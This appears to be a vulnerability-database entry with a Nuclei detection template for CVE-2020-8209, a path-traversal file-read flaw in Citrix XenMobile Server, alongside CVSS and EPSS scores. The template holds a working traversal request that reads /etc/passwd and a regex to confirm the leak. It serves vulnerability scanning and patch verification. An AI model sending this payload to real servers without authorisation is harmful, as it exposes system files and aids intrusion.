Citrix XenMobile Server - Local File Inclusion

2020-11-1614:49:51

ProjectDiscovery

github.com

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.7 High

AI Score

Confidence

High

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.968 High

EPSS

Percentile

99.7%

JSON

Citrix XenMobile Server 10.12 before RP2, Citrix XenMobile Server 10.11 before RP4, Citrix XenMobile Server 10.10 before RP6, and Citrix XenMobile Server before 10.9 RP5 are susceptible to local file inclusion vulnerabilities.

id: CVE-2020-8209

info:
  name: Citrix XenMobile Server - Local File Inclusion
  author: dwisiswant0
  severity: high
  description: |
    Citrix XenMobile Server 10.12 before RP2, Citrix XenMobile Server 10.11 before RP4, Citrix XenMobile Server 10.10 before RP6, and Citrix XenMobile Server before 10.9 RP5 are susceptible to local file inclusion vulnerabilities.
    reference:
    - https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/
    - https://support.citrix.com/article/CTX277457
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8209
  impact: |
    An attacker can access sensitive information stored on the server, potentially leading to further compromise or unauthorized access.
  remediation: |
    Apply the latest security patches or updates provided by Citrix to fix the vulnerability.
  reference:
    - https://support.citrix.com/article/CTX277457
    - https://github.com/Miraitowa70/POC-Notes
    - https://github.com/dudek-marcin/Poc-Exp
    - https://github.com/hectorgie/PoC-in-GitHub
    - https://github.com/pen4uin/vulnerability-research
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-8209
    cwe-id: CWE-22
    epss-score: 0.96834
    epss-percentile: 0.9967
    cpe: cpe:2.3:a:citrix:xenmobile_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: citrix
    product: xenmobile_server
  tags: cve2020,cve,citrix,lfi,xenmobile

http:
  - method: GET
    path:
      - "{{BaseURL}}/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "fileDownload=true"
          - "application/octet-stream"
          - "attachment;"
        condition: and

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4a0a0047304502207857cb1944dd9e2083f4df982605d1dbcef6f8390d03106a23e982a29aed788f022100c410e96420e23c27071667a13d2d97f7f3f3676beb53a025e0ef3db9a599c5c0:922c64590222798bb761d5b6d8e72950